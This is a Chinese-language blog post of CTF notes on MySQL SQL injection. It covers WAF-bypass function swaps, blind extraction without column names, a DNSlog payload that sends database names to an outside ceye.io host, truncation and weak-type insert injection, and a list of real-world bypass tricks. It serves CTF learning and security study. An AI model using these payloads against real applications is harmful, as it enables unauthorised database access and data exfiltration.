前言
非常不想写这篇博客,因为ctf中的sql注入技巧太乱了,不知道怎么排版怎么分块把他表述清楚,然后又能像一个笔记一样时时供我查阅。所以直到我打现在这几个字的时候我都在想咋把我那嘈杂的笔记整理出这篇文章。但是整理肯定还是要整理的,毕竟自己也要看。
CTF sql注入三原则
1.细致的猜测注入点的语句大概是什么样子。
2.判断是有回显的注入还是盲注,有回显的注入当盲注做是自己为难自己。
3.盲注优先考虑布尔盲注,然后才是时间盲注。
sql注入流程
我们来捋一捋这个sql注入的一般流程,首先有一个注入点,然后肯定有一个waf,waf过滤了一些关键字,我们做的就是绕过关键字的过滤,构造能执行的sql语句去获取数据库的flag。捋完流程,我们就知道流程中每一步应该怎么做、应该做什么。在开始之前还是要提出几个注意点:
1.注意区分数据的大小写,因为mysql默认不区分数据的大小写比较
解决方法:ascii编码比较、WHERE后加BINARY、regexp
2.站在出题者角度思考问题。
开始注入
fuzz
自动化fuzz或者手工fuzz,如果不ban ip 、网络稳定,那么自动化fuzz还是很好用的。因为绝大多数都是关键字过滤,fuzz的准确度很高。脚本就是直接py请求查看响应是否有waf响应的关键字。
fuzz字典(不全,自行补充)
1 | or |
绕过waf
绕过waf说白了就是同功能函数的替换,比如 substr == mid,下面我们就搞个这样的表方便大家查询(他们在一定成都上都有替代作用)。
1 | //比较判断 |
通过上面的这些替换绕过waf,最终我们需要执行我们构造出来的语句来获取flag,一般是通过information_schema表,这个表相当于一个字典,保存了所有database的信息。
1 | database() //获取当前数据库 |
还有一些小众的技巧
无法获取列名如何取数据
1.有回显的order by进行数据猜测
id | username | xxxxxx |
---|---|---|
1 | admin | flag{this_is_flag} |
2 | admin2 | 1 |
如上一个数据表flag,当我们通过information表获取到了表明和有多少列,但是死活不知道最后一列列名,那么怎么查?
如果是有回显的注入可以这样
1 | select * from flag union select 1,2,'fl' order by 3; |
通过我们的联合查询的第三列来一步一步的比对出flag是什么字符串。举个例子:
比如我们的显示位是3那么:
1 | select * from flag where id=1 union select 1,2,'fl' order by 3; |
这样如果我们的fl显示出来那么说明,它下面的字段应该是fl+字符,注意这里必须一位一位的去尝试。当然这个方法局限性很大,还很麻烦。
2.大多的时候是盲注,那就可以使用三表联合查询法:
网上的三表联合查询法总是讲不清楚,下面我们来分解下,你不用搞清楚什么是三表联合查询,你只需搞清楚每一步是什么意思即可。
首先我们构造一列:
1 | (select (select 1)c1)t1 |
上面的语句图形化查询结果如表
c1 |
---|
1 |
我们需要上面这样的列三个,因为目标表的列是三个(如果目标表查询的是五列,我们就需要构造五列)
然后我们把列组合在一起
1 | select * from(select (select 1)c1)t1 join (select (select 2)c2)t2 join (select (select 3)c3)t3 |
结果就是下面这样
c1 | c2 | c3 |
---|---|---|
1 | 2 | 3 |
然后我们联合查询flag数据表
1 | select * from(select (select 1)c1)t1 join (select (select 2)c2)t2 join (select (select 3)c3)t3 union select * from flag where id =1; |
结果如下
c1 | c2 | c3 |
---|---|---|
1 | 2 | 3 |
1 | admin | flag{this_is_flag} |
现在我们把上面这个语句查询出来的表命名为t,然后我们查询这个表的c3字段,并取第二行的数据
1 | select t.c3 from (select * from(select (select 1)c1)t1 join (select (select 2)c2)t2 join (select (select 3)c3)t3 union select * from flag where id =1)t limit 1,1; |
那么我们就成功得到flag了
c3 |
---|
flag{this_is_flag} |
当然盲注我们是不能看到的,所以还需要mid或者substr进行切割,最终我们写脚本来进行未知列名的数据读取:
1 | mid((select t.c2 from(select * from(select (select 1)c1)t1 join (select (select 2)c2)t2 union select * from flag)t limit 1 offset 1),1,1)='f'; |
从上面看我们并没有用第三列的列名但是成功把第三列的数据取了出来,这就是三联表查询。很简单吧。
HTTP参数污染
什么是参数污染?比如URL:http://www.xxxx.com/search.php?id=110&id=911
百度会理解成让百度搜索:110 #选择了第一个参数,放弃了第二个参数。
雅虎会理解成让雅虎搜索:911 #选择了第二个参数,放弃了第一个参数。
谷歌会理解成让谷歌搜索:110 911 #两个参数同时选择。
主要的就是这三种情况了。
这主要是源于,不同的网站对处理参数的处理方式不同
倘若是第三种情况,也就是第一个参数取第二个参数也取。那么大家请看下面的URL
http://www.xishaonian.com/hello.php?id=select 1&id=2,3,3 from admin
该种情况还可用于Bypass WAF.
DNSlogsql注入
1 | select load_file(concat('\\\\aa.',(select database()),'. vd85lw.ceye.io\\abc')); |
相当于访问aa.ctf.yygta1.ceye.io DNS会记录下这个记录!注意网上的payload的concat后\会把单引号转义导致那个并不好用,就上面这个就挺好用的
推荐的平台:http://ceye.io/
mssql+mysql
mssql+mysql 可以在mssql中执行mysql的查询语句:
参考个链接吧 没细致研究,只是见过
https://docs.microsoft.com/zh-tw/sql/t-sql/functions/openquery-transact-sql?view=sql-server-2017
MYSQL约束攻击:
对于长度有限制的字符串如果插入超过定义的长度会自动截断:
比如 user列名长度10 我们注册admin admin 肯定不行,这是管理员的账户
如果我们注册admin+++++++++++++++ admin12345
那么我们仍然可以用admin12345登陆admin账号原因是+会变成空格 这在前端和都端验证中都会通过
例题: bugku的一道CTF题,地址:http://47.93.190.246:49163/
mysql的弱类型-注入
mysql和php一样都是弱类型语言,你可以尝试select 0=’sadas’ 结果一定是1,这里不用特殊记忆,php会返回true的mysql都会返回true,由于这种弱类型,还衍生了一点弱类型注入的技巧。
比如一个注册的insert 注入:
1 | email=6677%40qq.com&username=0'%2bsubstr((select hex(hex((select t.c from (select (select 1)c union select * from flag limit 1 offset 1)t)))) from 20)%2b'0&password=22 |
isert注入通过登录后的用户名来看回显 为了有回显 我们 0’+hex(hex(语句))+’0 由于弱类型加强制转换 我们的username就成为了我们注入数据的两次 hex值(注意这里必须用%2b +可能被当成空格或者%20 所以先编码 浏览器自己会解码这样就不会产生歧义),为什么不直接用字符串拼接呢,就像’0’+user()+’0’ ,不好意思这样只会返回0 因为”+”只适合整数相加,不适合字符串。
两次 hex是为了杜绝 0+33a1df+0=33这种情况,为的是把数值变成字符开头而不是数字开头的十六进制字符串。这样我们得到的用户名就是我们查询结果的两次十六进制编码。
同表查询
有时候information 或者 or、select 被过滤,导致我们无法直接查询information_schema中的库名和表名。这个时候可能题目就没想让我们去information_Schema中找东西。应该尝试同表查询,还拿上面的flag表举例,如果注入语句只是查询username,那么我们可以:
1 | select username from flag where id=1 and mid(flag,1,1)='f'; |
同表是直接可以查的,直接切就行,有时候这个技巧还听常用。
mysql 另类攻击
有时候sql注入不是单独出现的,比如结合php的弱类型,在登陆的时候希望username返回一个null,来进行弱类型比较,那么mysql注入也可以:
1 | select username from flag group by username with rollup |
图形查询结果:
username |
---|
admin |
null |
可以通过limit 来返回一个null。当然这个技巧很少用。
任意文件读取
AllowArbitraryServer 开启的情况下开启的情况下可能存在任意文件读取,可以把本地文件读取到远程mysql服务器上,具体操作是vps启动mysql服务器用phpmyadmin的后台登陆去登陆我们的mysql服务器,我们的服务器就会记录下我们所需要的文件,当然vps的mysql服务器需要配置,主要用在phpmyadmin界面的登陆中,写起来太长了,直接给个链接吧。
https://bbs.pediy.com/thread-248424.htm
利用数据库操作异常进行注入
有时候我们见到的题目sql语句执行不成功会报错,但是所有报错都是同样的样式,没办法通过报错注入来进行数据泄露。那么我们还可以用这种数据库异常来进行盲注(类似boolean盲注)。
1 | -- 主要有以下几种玩儿法 |
当所有比较符号被过滤
记住还有 REGEXP
1 | http://39.106.184.130:8082/index.php?id=1^(mid(length(database()),1,2)+regexp+%27^32%27) |
渗透测试中比较好用的知识点
- 参数污染
- IIS 特性unicode绕过 s%u0065lect 使用hackbar编码
- 使用chunk提交数据
- sqlserver 可以 ;号结束命令
- mysql内联注释
- 特殊字符 %00 %0d %0a
- 空白字符
mysql5:OA OB OC OD AO 20
MSSQL:01,02 到 09,0A到0F,10到19,1A到1F,20 - 括号绕过空格 union(select)
- 插入emoji / 小语种文字
- 使用sqlmap tamper
- 科学计数法绕过空格 8e0union
- 无回显,无特征,善用sleep()
结语
很少能打CTF了,以前打CTF竟是做注入的题,所以有很多经验,但再不总结可能就忘完了。这篇文章也不算是有技术含量,只是为CTF小白打点基础,开阔脑洞,毕竟sql注入题千变万化,越来越难了。最后希望有人能从这儿学到东西。